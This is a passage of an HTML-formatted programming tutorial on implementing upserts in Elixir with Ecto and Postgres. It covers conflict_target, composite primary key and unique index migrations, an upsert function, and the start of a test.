&lt;p&gt;The second option needed for implementing upserts is the &lt;code&gt;conflict_target&lt;/code&gt; option. It specifies the constraint for which the &lt;code&gt;on_conflict&lt;/code&gt; operation should step in as a fallback. In our case, we define the &lt;code&gt;[:user_id, :date]&lt;/code&gt; constraint. If our insertion violates that constraint, Postgres will execute the &lt;code&gt;on_conflict&lt;/code&gt; fallback. But if our insertion violates another constraint (e.g. the &lt;code&gt;primary_key&lt;/code&gt; constraint), Postgres will &lt;strong&gt;not&lt;/strong&gt; execute our fallback and return a &lt;code&gt;constraint error&lt;/code&gt; instead. We don&apos;t want to update our schema if we violate &lt;strong&gt;just any&lt;/strong&gt; constraint. &lt;code&gt;conflict_target&lt;/code&gt; makes sure of that.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Heads up&lt;/strong&gt;: The &lt;code&gt;conflict_target&lt;/code&gt; option is only available for Postgres and not for MySQL databases. In MySQL, you can just omit it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#preparing-a-schema-for-upserts&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;preparing-a-schema-for-upserts&quot;&gt;&lt;/a&gt;Preparing a Schema for Upserts&lt;/h2&gt;
&lt;p&gt;Upserts rely on uniqueness constraints in the database. We usually create such constraints in the migration that creates the table of the schema. Let&apos;s have a look at different constraints and how to create them.&lt;/p&gt;
&lt;p&gt;First, we can leverage the uniqueness constraint of &lt;code&gt;primary keys&lt;/code&gt; for our upserts. In such cases, we typically use a field other than the autogenerated &lt;code&gt;id&lt;/code&gt; as the primary key for the schema. In our example above, we use a combination of &lt;code&gt;user_id&lt;/code&gt; and &lt;code&gt;date&lt;/code&gt; to identify the correct database entry. Let&apos;s create a migration that sets these two fields as - what Postgres calls - a &quot;composite primary key&quot;:&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Repo.Migrations.CreateUsages&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Migration&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;change&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;create&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;table&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:usages&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;primary_key: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;:user_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;        &lt;span style=&quot;color: #d2a8ff;&quot;&gt;references&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:users&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;on_delete: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:nothing&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;primary_key: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:date&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:date&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;primary_key: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:counter&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:integer&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;default: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;timestamps&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This migration creates a &lt;code&gt;usages&lt;/code&gt; table and adds a uniqueness constraint for the &lt;code&gt;user_id&lt;/code&gt; and &lt;code&gt;date&lt;/code&gt; combination since these columns act as primary keys for the table. If you prefer having an autogenerated &lt;code&gt;id&lt;/code&gt; instead of a composite primary key, you can also create the uniqueness constraint for the two columns yourself:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Repo.Migrations.CreateUsages&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Migration&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;change&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;create&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;table&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:usages&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:user_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;references&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:users&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;on_delete: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:nothing&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:date&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:date&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:counter&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:integer&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;default: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;timestamps&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;create&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;unique_index&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:usages&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:user_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:date&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The migration above creates an autogenerated &lt;code&gt;id&lt;/code&gt; primary key and adds a uniqueness constraint on the &lt;code&gt;[:user_id, :date]&lt;/code&gt; columns. Both approaches work just fine. It is up to you to decide which one you prefer.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#upserting-usage-data&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;upserting-usage-data&quot;&gt;&lt;/a&gt;Upserting Usage Data&lt;/h2&gt;
&lt;p&gt;Here is an example function that upserts data into the &lt;code&gt;usages&lt;/code&gt; table:&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;upsert_usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;increment&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;\\&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;date&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;\\&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Date&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;utc_today&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;user_id: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;date: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;date&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;counter: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;increment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;on_conflict: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;inc: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;counter: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;increment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;set: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;updated_at: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;DateTime&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;utc_now&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;conflict_target: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:user_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:date&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One nitty-gritty detail is the second part of the &lt;code&gt;on_conflict&lt;/code&gt; instruction: The &lt;code&gt;set: [updated_at: DateTime.utc_now()]&lt;/code&gt; part. The problem is that the &lt;code&gt;on_conflict&lt;/code&gt; option is similar to the &lt;code&gt;Repo.update_all/3&lt;/code&gt; operation. It does not update autogenerated fields like &lt;code&gt;inserted_at&lt;/code&gt; or &lt;code&gt;updated_at&lt;/code&gt;. We need to set it ourselves. Usually, we don&apos;t create autogenerated timestamps when using upserts and rely on the &lt;code&gt;date&lt;/code&gt; field instead. This allows us to remove the &lt;code&gt;set&lt;/code&gt; operation above. However, adding the timestamps is unproblematic as long as you remember to update them manually in your upsert function.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#testing-your-upserts&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;testing-your-upserts&quot;&gt;&lt;/a&gt;Testing your Upserts&lt;/h2&gt;
&lt;p&gt;Testing your upsert functionality is straightforward. Have a look at the example test below:&lt;/p&gt;
&lt;pre id=&quot;code-block-7&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;test&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;upsert_usage/1 creates and then updates a usage&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;user: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Usages&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;list_usages&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Usages&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;upsert_usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Usages&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;list_usages&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;usage&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user_id&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;id&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;usage&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;date&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Date&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;utc_today&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;usage&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;counter&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
